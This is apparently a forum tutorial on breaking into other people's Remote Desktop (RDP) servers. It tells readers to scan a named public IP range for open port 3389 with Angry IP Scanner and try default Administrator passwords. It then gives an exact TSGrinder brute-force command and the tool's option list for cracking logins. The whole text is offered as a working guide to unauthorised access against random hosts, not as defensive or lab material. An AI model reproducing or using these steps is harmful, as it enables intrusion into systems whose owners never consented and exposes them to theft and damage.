[Tut] How to Crack Remote Desktops [RDP]

How to Crack Remote Desktops [RDP]
Scanning and Cracking into Remote Desktops

First off, go get yourself Angry IP Scanner
If you dont have it, download it here:

Code:

Code:
[SIZE="4"][color=Lime]http://www.angryip.org/w/Download[/color][/SIZE]

Now that you should have it, open it up and go to
1- Options (ctrl + O)
2- select ports
3- 3389

Now enter in an IP Range. Here is a valid one for you: 212.27.48.10 to 212.27.225.225

Become familiar with the shortcuts. Let the scanner run for at least 5 minutes before checking for

open ports. Use these shortcuts...

1- Ctrl + P (this will auto scroll down to the first discovered port which should be lit green,
if they are blue, that means they are still resolving, if red, it means its dead.

2- Ctrl + C (this will copy the ip address)
3- Ctrl + v (this will paste the ip address)

Now, pull out your Remote Client Application build into Windows XP

1- Start Menu
2- All programs
3- Accessories
4- Communications
5- Remote Desktop Connection

Now your good to connect!

What you want to do first is try out the default p***words with user name as: Administrator
Defaults are:

1- *****
2- no p***words at all
3- p***word
4 qwerty

usually if that doesnt work, disconnect and move onto the next IP.

Cracking RDP with ts grinder By Ghost Exodus
download available at:

Code:

Code:
[SIZE="4"][color=Lime]examples.oreilly.com/networksa/tools/tsgrinder-2.03.zip[/color][/SIZE]

MAKE SURE YOU INSTALL TSGRINDER's FOLDER CONTENTS TO ROOT DIRECTORY WHICH IS C:\

to access ts grinder go to cmd, C:\ type in tsgrinder

Here is the usage example:

1- (exact command) tsgrinder.exe -w dict -l leet -d workgroup -u administrator -b -n 2 (ip goes here)
2- It is best to save tsgrinder.exe straight into the C: directory, therefore you can pull it up
in command prompt quickly via by typing: cd .., cd.. tsgrinder.exe
And a list of options to further understand what each variable and part means:
Usage:

tsgrinder.exe [options] server

Options:

-w dictionary file (default 'dict')

-l 'leet' translation file

-d domain name

-u username (default 'administrator'

-b banner flag

-n number of simultaneous threads

-D debug level (default 9, lower number is more output)